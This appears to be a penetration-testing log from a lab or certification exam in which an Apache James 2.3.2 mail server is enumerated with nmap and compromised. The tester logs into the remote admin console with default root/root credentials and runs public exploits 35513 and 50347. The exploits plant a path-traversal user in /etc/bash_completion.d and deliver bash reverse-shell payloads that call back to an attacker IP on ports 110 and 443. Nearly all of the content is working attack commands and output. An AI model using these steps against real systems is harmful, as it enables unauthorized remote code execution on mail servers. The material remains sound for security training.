$ 
$5432/tcp open  postgresql  syn-ack ttl 63 PostgreSQL DB 9.3.21 - 9.3.25
$|_ssl-date: TLS randomness does not represent time
$| ssl-cert: Subject: commonName=ip-172-31-41-221.us-east-2.compute.internal
$| Issuer: commonName=ip-172-31-41-221.us-east-2.compute.internal
$| Public Key type: rsa
$| Public Key bits: 2048
$| Signature Algorithm: sha256WithRSAEncryption
$| Not valid before: 2019-03-02T03:00:14
$| Not valid after:  2029-02-27T03:00:14
$| MD5:   b8b0:f7fa:43cc:e3dd:d2be:4922:6e70:ed34
$| SHA-1: a278:50ef:f2cb:94d1:8e81:6ac3:5935:666c:bf9e:95c9

$Apache James Server 2.3.2 - Remote Command Execution (RCE) (Authenticated) (2)
$#Found Authenticated RCE for this version
$https://www.exploit-db.com/exploits/50347
$ 
$└─$ nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 10.50.153.224
$Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-08 13:26 EDT
$Nmap scan report for jamesmail.evo (10.50.153.224)
$Host is up (0.079s latency).
$ 
$PORT   STATE SERVICE
$25/tcp open  smtp
$| smtp-enum-users: 
$|_  root
$|_smtp-commands: localhost Hello jamesmail.evo (10.50.8.96 [10.50.8.96])
$| smtp-vuln-cve2010-4344: 
$|_  The SMTP server is not Exim: NOT VULNERABLE

$telnet 10.50.153.224 110        
$Trying 10.50.153.224...
$Connected to 10.50.153.224.
$Escape character is '^]'.
$+OK localhost POP3 server (JAMES POP3 Server 2.3.2) ready 
$help
$-ERR

$#james-admin syn-ack ttl 63 JAMES Remote Admin 2.3.2
$https://www.exploit-db.com/exploits/35513
$#Edit the exploit and add your payload
$payload = '/bin/bash -c "bash -i >& /dev/tcp/<attacker IP>/110 0>&1"'
$ 
$nc -nv 10.50.153.224 4555
$(UNKNOWN) [10.50.153.224] 4555 (?) open
$JAMES Remote Administration Tool 2.3.2
$Please enter your login and password
$Login id:
$root
$Password:
$root
$Welcome root. HELP for a list of commands
$ls
$Unknown command ls
$help
$Currently implemented commands:
$help                                    display this help
$listusers                               display existing accounts
$countusers                              display the number of existing accounts
$adduser [username] [password]           add a new user
$verify [username]                       verify if specified user exist
$deluser [username]                      delete existing user
$setpassword [username] [password]       sets a user's password
$setalias [user] [alias]                 locally forwards all email for 'user' to 'alias'
$showalias [username]                    shows a user's current email alias
$unsetalias [user]                       unsets an alias for 'user'
$setforwarding [username] [emailaddress] forwards a user's email to another email address
$showforwarding [username]               shows a user's current email forwarding
$unsetforwarding [username]              removes a forward
$user [repositoryname]                   change to another user repository
$shutdown                                kills the current JVM (convenient when James is run as a daemon)
$quit                                    close connection
$listusers
$Existing accounts 1
$user: ../../../../../../../../etc/bash_completion.d
$ 
$kali㉿kali)-[~/evolve/exam/target_3]
$└─$ python2 35513.py 10.50.153.224
$ 
$[+]Connecting to James Remote Administration Tool...
$[+]Creating user...
$[+]Connecting to James SMTP server...
$[+]Sending payload...
$[+]Done! Payload will be executed once somebody logs in.
$ 
$python3 50347.py 10.50.153.224 10.60.9.125 443
$[+]Payload Selected (see script for more options):  /bin/bash -i >& /dev/tcp/10.60.9.125/443 0>&1
$[+]Example netcat listener syntax to use after successful execution: nc -lvnp 443
$[+]Connecting to James Remote Administration Tool...
$[+]Creating user...
$[+]Connecting to James SMTP server...
$[+]Sending payload...
$[+]Done! Payload will be executed once somebody logs in (i.e. via SSH).
$[+]Don't forget to start a listener on port 443 before logging in!
$